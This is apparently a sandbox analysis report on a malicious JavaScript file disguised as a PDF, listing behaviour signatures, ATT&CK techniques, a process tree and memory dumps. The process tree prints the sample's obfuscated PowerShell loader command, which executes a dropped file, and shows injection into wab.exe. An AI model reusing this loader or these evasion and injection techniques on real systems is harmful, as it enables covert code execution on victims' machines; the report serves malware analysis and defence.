Analysis
- max time kernel
148s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 12:53
General
- Target Archpre_086544.pdf.js
- Size 956KB
- Sample260804-p4xp1a1cpf
- SHA256 81e61bd60b0742417d9b29aadad3a2c13bcaac8efb82454a5a39998be6acc99d
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 25 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Archpre_086544.pdf.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" c:\windows\Nedover.ini2⤵
- Modifies registry class
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Svensk='/app'+'data';$Thermicnad=gc ($home+$Svensk+'/local/Hande');$Zabagl=$Thermicnad[4873]+$Thermicnad[4874]+$Thermicnad[4875]; . ($Zabagl) $Thermicnad"1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Svensk='/app'+'data';$Thermicnad=gc ($home+$Svensk+'/local/Hande');$Zabagl=$Thermicnad[4873]+$Thermicnad[4874]+$Thermicnad[4875]; . ($Zabagl) $Thermicnad"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Asce.Upr
Hande
memory/2416-13-0x0000000005B30000-0x0000000005B52000-memory.dmp
memory/2416-24-0x00000000067C0000-0x00000000067DA000-memory.dmp
memory/2416-15-0x0000000005C40000-0x0000000005CA6000-memory.dmp
memory/2416-18-0x0000000005F30000-0x000000000628B000-memory.dmp
memory/2416-30-0x0000000008DE0000-0x000000000B6AF000-memory.dmp
memory/2416-20-0x00000000062A0000-0x00000000062BE000-memory.dmp
memory/2416-21-0x00000000062E0000-0x000000000632C000-memory.dmp
memory/2416-12-0x00000000054B0000-0x0000000005AFA000-memory.dmp
memory/2416-23-0x0000000007470000-0x0000000007506000-memory.dmp
memory/2416-25-0x0000000006810000-0x0000000006832000-memory.dmp
memory/2416-14-0x0000000005BD0000-0x0000000005C36000-memory.dmp
memory/2416-26-0x0000000007B20000-0x00000000080DA000-memory.dmp
memory/2416-27-0x0000000008760000-0x0000000008DDC000-memory.dmp
memory/2416-11-0x0000000004E20000-0x0000000004E56000-memory.dmp
memory/4736-3-0x000001FF78D90000-0x000001FF78DB2000-memory.dmp